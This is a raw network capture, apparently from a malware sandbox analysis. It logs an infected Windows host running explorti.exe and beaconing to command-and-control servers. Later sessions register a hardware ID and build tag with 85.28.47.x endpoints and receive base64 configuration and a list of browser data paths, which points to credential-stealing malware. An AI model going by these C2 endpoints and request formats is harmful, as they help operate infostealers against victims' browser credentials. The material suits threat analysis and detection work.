Jul 26, 2024 08:58:09.038902044 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:58:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.7	49818	185.215.113.19	80	7840	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:58:09.166625023 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 08:58:09.937292099 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:58:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 08:58:09.952071905 CEST	314	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 26, 2024 08:58:10.203520060 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:58:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.7	49820	185.215.113.19	80	7840	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:58:10.444919109 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 08:58:11.203423023 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:58:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 08:58:11.258512020 CEST	314	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 26, 2024 08:58:11.503895044 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:58:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.7	49825	185.215.113.19	80	7840	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:58:11.627690077 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 08:58:12.409504890 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:58:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 08:58:12.412944078 CEST	314	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 26, 2024 08:58:12.797846079 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:58:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.7	49830	142.250.185.163	80	1180	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:58:11.990113020 CEST	423	OUT	POST /wr2 HTTP/1.1 Host: o.pki.goog User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/ocsp-request Content-Length: 84 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache Data Raw: 30 52 30 50 30 4e 30 4c 30 4a 30 09 06 05 2b 0e 03 02 1a 05 00 04 14 53 42 d4 84 8b c1 17 f9 b6 14 4d 77 7c fb 23 31 0f 7b 35 cd 04 14 de 1b 1e ed 79 15 d4 3e 37 24 c3 21 bb ec 34 39 6d 42 b2 30 02 11 00 c5 fb ba 85 d7 98 9c b7 0a 83 60 9e 9e c4 2c e3 Data Ascii: 0R0P0N0L0J0+SBMw\|#1{5y>7$!49mB0`,
Jul 26, 2024 08:58:12.795860052 CEST	702	IN	HTTP/1.1 200 OK Content-Type: application/ocsp-response Date: Fri, 26 Jul 2024 06:58:12 GMT Cache-Control: public, max-age=14400 Server: ocsp_responder Content-Length: 472 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Data Raw: 30 82 01 d4 0a 01 00 a0 82 01 cd 30 82 01 c9 06 09 2b 06 01 05 05 07 30 01 01 04 82 01 ba 30 82 01 b6 30 81 9f a2 16 04 14 de 1b 1e ed 79 15 d4 3e 37 24 c3 21 bb ec 34 39 6d 42 b2 30 18 0f 32 30 32 34 30 37 32 35 31 30 31 33 30 30 5a 30 74 30 72 30 4a 30 09 06 05 2b 0e 03 02 1a 05 00 04 14 53 42 d4 84 8b c1 17 f9 b6 14 4d 77 7c fb 23 31 0f 7b 35 cd 04 14 de 1b 1e ed 79 15 d4 3e 37 24 c3 21 bb ec 34 39 6d 42 b2 30 02 11 00 c5 fb ba 85 d7 98 9c b7 0a 83 60 9e 9e c4 2c e3 80 00 18 0f 32 30 32 34 30 37 32 35 31 30 31 33 30 30 5a a0 11 18 0f 32 30 32 34 30 38 30 31 30 39 31 32 35 39 5a 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 7b fe 99 07 97 72 a8 8d b5 8a b8 55 76 24 5b a6 31 29 03 da 3f 63 cf af 8f 7b 40 71 a1 67 0a 07 8d ce 70 e9 8d 5d a6 0a d3 4a eb 5f 84 65 b2 8c 06 c6 e6 0a f9 2b 2e 41 58 28 2b df 6a 76 f3 b6 81 41 a2 2c bd e1 f6 8b 92 a3 62 cd 8e 35 ea eb 76 38 68 0c c8 73 ae 51 c8 97 8c 35 47 4e 82 05 1c d4 e9 1a 94 b2 ca 68 c6 7b 52 13 42 da b9 c2 06 3b b9 9d 39 13 22 e5 13 3a [TRUNCATED] Data Ascii: 00+000y>7$!49mB020240725101300Z0t0r0J0+SBMw\|#1{5y>7$!49mB0`,20240725101300Z20240801091259Z0*H{rUv$[1)?c{@qgp]J_e+.AX(+jvA,b5v8hsQ5GNh{RB;9":L)y}1&z9FrS[{2!wG_t^f(73!(<u9NcW.\|=F9^=LPw5RxpQzo t(gy\|W
Jul 26, 2024 08:58:12.871258020 CEST	702	IN	HTTP/1.1 200 OK Content-Type: application/ocsp-response Date: Fri, 26 Jul 2024 06:58:12 GMT Cache-Control: public, max-age=14400 Server: ocsp_responder Content-Length: 472 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Data Raw: 30 82 01 d4 0a 01 00 a0 82 01 cd 30 82 01 c9 06 09 2b 06 01 05 05 07 30 01 01 04 82 01 ba 30 82 01 b6 30 81 9f a2 16 04 14 de 1b 1e ed 79 15 d4 3e 37 24 c3 21 bb ec 34 39 6d 42 b2 30 18 0f 32 30 32 34 30 37 32 35 31 30 31 33 30 30 5a 30 74 30 72 30 4a 30 09 06 05 2b 0e 03 02 1a 05 00 04 14 53 42 d4 84 8b c1 17 f9 b6 14 4d 77 7c fb 23 31 0f 7b 35 cd 04 14 de 1b 1e ed 79 15 d4 3e 37 24 c3 21 bb ec 34 39 6d 42 b2 30 02 11 00 c5 fb ba 85 d7 98 9c b7 0a 83 60 9e 9e c4 2c e3 80 00 18 0f 32 30 32 34 30 37 32 35 31 30 31 33 30 30 5a a0 11 18 0f 32 30 32 34 30 38 30 31 30 39 31 32 35 39 5a 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 7b fe 99 07 97 72 a8 8d b5 8a b8 55 76 24 5b a6 31 29 03 da 3f 63 cf af 8f 7b 40 71 a1 67 0a 07 8d ce 70 e9 8d 5d a6 0a d3 4a eb 5f 84 65 b2 8c 06 c6 e6 0a f9 2b 2e 41 58 28 2b df 6a 76 f3 b6 81 41 a2 2c bd e1 f6 8b 92 a3 62 cd 8e 35 ea eb 76 38 68 0c c8 73 ae 51 c8 97 8c 35 47 4e 82 05 1c d4 e9 1a 94 b2 ca 68 c6 7b 52 13 42 da b9 c2 06 3b b9 9d 39 13 22 e5 13 3a [TRUNCATED] Data Ascii: 00+000y>7$!49mB020240725101300Z0t0r0J0+SBMw\|#1{5y>7$!49mB0`,20240725101300Z20240801091259Z0*H{rUv$[1)?c{@qgp]J_e+.AX(+jvA,b5v8hsQ5GNh{RB;9":L)y}1&z9FrS[{2!wG_t^f(73!(<u9NcW.\|=F9^=LPw5RxpQzo t(gy\|W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.7	49832	185.215.113.19	80	7840	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:58:12.920334101 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 08:58:13.738331079 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:58:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 08:58:13.739337921 CEST	314	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 26, 2024 08:58:13.990500927 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:58:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.7	49204	185.215.113.19	80	7840	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:58:14.124950886 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 08:58:15.004302979 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 06:58:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.7	49220	208.95.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:58:19.167706966 CEST	124	OUT	GET /json HTTP/1.1 Host: ip-api.com Accept: / Accept-Encoding: gzip, deflate User-Agent: Python/3.10 aiohttp/3.8.6
Jul 26, 2024 08:58:19.664726973 CEST	482	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 06:58:19 GMT Content-Type: application/json; charset=utf-8 Content-Length: 305 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 59 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 7a 69 70 22 3a 22 31 30 31 32 33 22 2c 22 6c 61 74 22 3a 34 30 2e 37 31 32 38 2c 22 6c 6f 6e 22 3a 2d 37 34 2e 30 30 36 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 69 73 70 22 3a 22 4c 65 76 65 6c 20 33 22 2c 22 6f 72 67 22 3a 22 43 65 6e 74 75 72 79 4c 69 6e 6b 20 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 73 2c 20 4c 4c 43 22 2c 22 61 73 22 3a 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 33 20 50 61 72 65 6e 74 2c 20 4c 4c 43 22 2c 22 71 75 65 72 79 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 7d Data Ascii: {"status":"success","country":"United States","countryCode":"US","region":"NY","regionName":"New York","city":"New York","zip":"10123","lat":40.7128,"lon":-74.006,"timezone":"America/New_York","isp":"Level 3","org":"CenturyLink Communications, LLC","as":"AS3356 Level 3 Parent, LLC","query":"8.46.123.33"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.7	49224	85.28.47.31	80

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:58:21.087754965 CEST	86	OUT	GET / HTTP/1.1 Host: 85.28.47.31 Connection: Keep-Alive Cache-Control: no-cache
Jul 26, 2024 08:58:21.755937099 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 06:58:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 26, 2024 08:58:21.770750046 CEST	409	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBKFCFBFIDGCGDHJDBKF Host: 85.28.47.31 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 44 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 37 33 38 34 38 32 34 39 30 33 42 33 30 32 33 30 31 31 38 35 39 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 44 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 44 42 4b 46 2d 2d 0d 0a Data Ascii: ------FBKFCFBFIDGCGDHJDBKFContent-Disposition: form-data; name="hwid"07384824903B3023011859------FBKFCFBFIDGCGDHJDBKFContent-Disposition: form-data; name="build"sila------FBKFCFBFIDGCGDHJDBKF--
Jul 26, 2024 08:58:21.954471111 CEST	210	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 06:58:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.7	49239	85.28.47.70	80

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:58:36.766997099 CEST	86	OUT	GET / HTTP/1.1 Host: 85.28.47.70 Connection: Keep-Alive Cache-Control: no-cache
Jul 26, 2024 08:58:37.408971071 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 06:58:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 26, 2024 08:58:37.411273003 CEST	408	OUT	POST /744f169d372be841.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFIEGIECGCBKFIEBGCAA Host: 85.28.47.70 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 37 33 38 34 38 32 34 39 30 33 42 33 30 32 33 30 31 31 38 35 39 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 51 4c 4c 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 41 2d 2d 0d 0a Data Ascii: ------AFIEGIECGCBKFIEBGCAAContent-Disposition: form-data; name="hwid"07384824903B3023011859------AFIEGIECGCBKFIEBGCAAContent-Disposition: form-data; name="build"QLL------AFIEGIECGCBKFIEBGCAA--
Jul 26, 2024 08:58:37.637286901 CEST	407	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 06:58:37 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 44 42 69 4e 57 51 35 4d 47 4e 69 4e 32 4d 30 59 54 42 69 5a 47 45 77 5a 44 51 7a 5a 6a 59 77 4d 57 51 30 4e 47 51 34 4d 57 45 32 4f 44 45 35 4e 32 4d 32 5a 54 4e 69 4d 7a 59 33 59 7a 63 7a 4d 6a 41 32 4d 44 51 78 5a 54 51 78 59 6d 59 78 59 6a 51 32 4e 6a 52 6b 5a 6d 5a 6c 4d 32 51 35 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 46 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NDBiNWQ5MGNiN2M0YTBiZGEwZDQzZjYwMWQ0NGQ4MWE2ODE5N2M2ZTNiMzY3YzczMjA2MDQxZTQxYmYxYjQ2NjRkZmZlM2Q5fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDF8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Jul 26, 2024 08:58:37.638250113 CEST	466	OUT	POST /744f169d372be841.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAFIEBKKJJDAKFHIDBFH Host: 85.28.47.70 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 46 49 45 42 4b 4b 4a 4a 44 41 4b 46 48 49 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 62 35 64 39 30 63 62 37 63 34 61 30 62 64 61 30 64 34 33 66 36 30 31 64 34 34 64 38 31 61 36 38 31 39 37 63 36 65 33 62 33 36 37 63 37 33 32 30 36 30 34 31 65 34 31 62 66 31 62 34 36 36 34 64 66 66 65 33 64 39 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 45 42 4b 4b 4a 4a 44 41 4b 46 48 49 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 45 42 4b 4b 4a 4a 44 41 4b 46 48 49 44 42 46 48 2d 2d 0d 0a Data Ascii: ------CAFIEBKKJJDAKFHIDBFHContent-Disposition: form-data; name="token"40b5d90cb7c4a0bda0d43f601d44d81a68197c6e3b367c73206041e41bf1b4664dffe3d9------CAFIEBKKJJDAKFHIDBFHContent-Disposition: form-data; name="message"browsers------CAFIEBKKJJDAKFHIDBFH--
Jul 26, 2024 08:58:37.823281050 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 06:58:37 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRv